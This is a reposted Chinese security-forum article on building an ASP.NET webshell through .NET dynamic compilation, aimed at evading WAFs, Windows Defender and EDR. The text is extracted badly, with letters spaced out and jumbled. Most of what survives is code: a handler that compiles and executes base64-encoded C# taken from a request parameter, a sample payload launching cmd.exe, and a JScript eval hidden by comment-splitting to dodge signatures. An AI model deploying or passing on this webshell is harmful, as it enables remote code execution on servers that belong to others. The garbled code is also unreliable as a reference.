[2104] 2021-03-12_基于.NET动态编译技术实现任意代码执行

文档创建者:s7ckTeam
浏览次数:4
最后更新:2025-01-16
2021-03-12_基于.NET动态编译技术实现任意代码执行 . N E T   I v a n 1 e e   d o t N e t   2 0 2 1 - 0 3 - 1 2 # . N E T   , 1 # w e b s h e l l   , 1 W a f W i n d o w s   D e f e n d e r E D R . N e t V B S e v a l e v a l . N E T   C o d e D o m P r o v i d e r . N E T J S c r i p C # W e b S h e l l W i n d o w s   D e f e n d e r   " C o d e D o m P r o v i d e r . C r e a t e P r o v i d e r C r e a t e I n s t a n c e " . N e t C o d e D o m P r o v i d e r     C o m p i l e r P a r a m e t e r s C o d e D o m P r o v i d e r C # V B J s c r i p t C o m p i l e r P a r a m e t e r s . G e n e r a t e E x e c u t a b l e d l l G e n e r a t e I n M e m o r y =   t r u e C o m p i l e A s s e m b l y F r o m S o u r c e C r e a t e I n s t a n c e S o u r c e T e x t C # N e t e y e I n p u t O u t P u t B a s e 6 4 S y s t e m . D i a g n o s t i c s . P r o c e s s . S t a r t ( " c m d . e x e " , " / c   c a l c " ) ; P r o c e s s R e q u e s t C o d e D o m P r o v i d e r   c o m p i l e r   =   C o d e D o m P r o v i d e r . C r e a t e P r o v i d e r ( " C # " ) ;   ;           / / C o m p i l e r P a r a m e t e r s   c o m P a r a   =   n e w   C o m p i l e r P a r a m e t e r s ( ) ;       / / c o m P a r a . R e f e r e n c e d A s s e m b l i e s . A d d ( " S y s t e m . d l l " ) ;   / / c o m P a r a . G e n e r a t e E x e c u t a b l e   =   f a l s e ;   / / e x e c o m P a r a . G e n e r a t e I n M e m o r y   =   t r u e ;   / / C o m p i l e r R e s u l t s   c o m p i l e r R e s u l t s   =   c o m p i l e r . C o m p i l e A s s e m b l y F r o m S o u r c e ( c o m P a r a ,   S o u r c e T e x t ( t x t ) ) ;   / / A s s e m b l y   o b j A s s e m b l y   =   c o m p i l e r R e s u l t s . C o m p i l e d A s s e m b l y ;   / / o b j e c t   o b j I n s t a n c e   =   o b j A s s e m b l y . C r e a t e I n s t a n c e ( " N e t e y e . N e t e y e I n p u t " ) ;   / / M e t h o d I n f o   o b j M i f o   =   o b j I n s t a n c e . G e t T y p e ( ) . G e t M e t h o d ( " O u t P u t " ) ;   / / v a r   r e s u l t   =   o b j M i f o . I n v o k e ( o b j I n s t a n c e ,   n u l l ) ; p u b l i c   s t a t i c   s t r i n g   S o u r c e T e x t ( s t r i n g   t x t )                 {                         S t r i n g B u i l d e r   s b   =   n e w   S t r i n g B u i l d e r ( ) ;                         s b . A p p e n d ( " u s i n g   S y s t e m ; " ) ;                         s b . A p p e n d ( E n v i r o n m e n t . N e w L i n e ) ;                         s b . A p p e n d ( " n a m e s p a c e     N e t e y e " ) ;                         s b . A p p e n d ( E n v i r o n m e n t . N e w L i n e ) ;                         s b . A p p e n d ( " { " ) ;                         s b . A p p e n d ( E n v i r o n m e n t . N e w L i n e ) ;                         s b . A p p e n d ( "         p u b l i c   c l a s s   N e t e y e I n p u t " ) ;                         s b . A p p e n d ( E n v i r o n m e n t . N e w L i n e ) ;                         s b . A p p e n d ( "         { " ) ;                         s b . A p p e n d ( E n v i r o n m e n t . N e w L i n e ) ;                         s b . A p p e n d ( "                 p u b l i c   v o i d   O u t P u t ( ) " ) ;                         s b . A p p e n d ( E n v i r o n m e n t . N e w L i n e ) ;                         s b . A p p e n d ( "                 { " ) ;                         s b . A p p e n d ( E n v i r o n m e n t . N e w L i n e ) ;                         s b . A p p e n d ( E n c o d i n g . G e t E n c o d i n g ( " U T F - 8 " ) . G e t S t r i n g ( C o n v e r t . F r o m B a s e 6 4 S t r i n g ( t x t ) ) ) ;                         s b . A p p e n d ( E n v i r o n m e n t . N e w L i n e ) ;                         s b . A p p e n d ( "                 } " ) ;                         s b . A p p e n d ( E n v i r o n m e n t . N e w L i n e ) ;                         s b . A p p e n d ( "         } " ) ;                         s b . A p p e n d ( E n v i r o n m e n t . N e w L i n e ) ;                         s b . A p p e n d ( " } " ) ;                         s t r i n g   c o d e   =   s b . T o S t r i n g ( ) ;                         r e t u r n   c o d e ;                 } U 3 l z d G V t L k R p Y W d u b 3 N 0 a W N z L l B y b 2 N l c 3 M u U 3 R h c n Q o I m N t Z C 5 l e G U i L C I v Y y B j Y W x j I i k 7 p u b l i c   v o i d   P r o c e s s R e q u e s t ( H t t p C o n t e x t   c o n t e x t )                 {                         c o n t e x t . R e s p o n s e . C o n t e n t T y p e   =   " t e x t / p l a i n " ;                         i f   ( ! s t r i n g . I s N u l l O r E m p t y ( c o n t e x t . R e q u e s t [ " t x t " ] ) )
J s c r i p t . N e t   e v a l . N E T e v a l e v a l . N E T e v a l J s c r i p t . N e t J s c r i p t C # e v a l / * @ I v a n 1 e e @ * / w e b 使 C o d e D o m P r o v i d e r . C r e a t e P r o v i d e r C r e a t e I n s t a n c e d l l   " h t t p s : / / g i t h u b . c o m / I v a n 1 e e / . N E T W e b S h e l l " b a s e                         {                                 D y n a m i c C o d e E x e c u t e ( c o n t e x t . R e q u e s t [ " t x t " ] ) ;   / / s t a r t   c a l c :   U 3 l z d G V t L k R p Y W d u b 3 N 0 a W N z L l B y b 2 N l c 3 M u U 3 R h c n Q o I m N t Z C 5 l e G U i L C I v Y y B j Y W x j I i k 7                                 c o n t e x t . R e s p o n s e . W r i t e ( " E x e c u t e   S t a t u s :   S u c c e s s ! " ) ;                         }                         e l s e                         {                                 c o n t e x t . R e s p o n s e . W r i t e ( " J u s t   F o r   F u n ,   P l e a s e   I n p u t   t x t ! " ) ;                         }                 } p r i v a t e   s t a t i c   r e a d o n l y   s t r i n g   _ j s c r i p t C l a s s T e x t   =                 @ " i m p o r t   S y s t e m ;                         c l a s s   J S c r i p t R u n                         {                                 p u b l i c   s t a t i c   f u n c t i o n   R u n E x p ( e x p r e s s i o n   :   S t r i n g )   :   S t r i n g                                 {                                         r e t u r n   e / * @ I v a n 1 e e @ * / v / * @ I v a n 1 e e @ * / a / * @ I v a n 1 e e @ * / l ( e x p r e s s i o n ) ;                                 }                         } " ; C o m p i l e r R e s u l t s   r e s u l t s   =   c o m p i l e r . C o m p i l e A s s e m b l y F r o m S o u r c e ( p a r a m e t e r s ,   _ j s c r i p t C l a s s T e x t . R e p l a c e ( " / * @ I v a n 1 e e @ * / " , " " ) ) ;
W e b A P T   G o J a v a C O b j e c t - C P y t h o n  
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则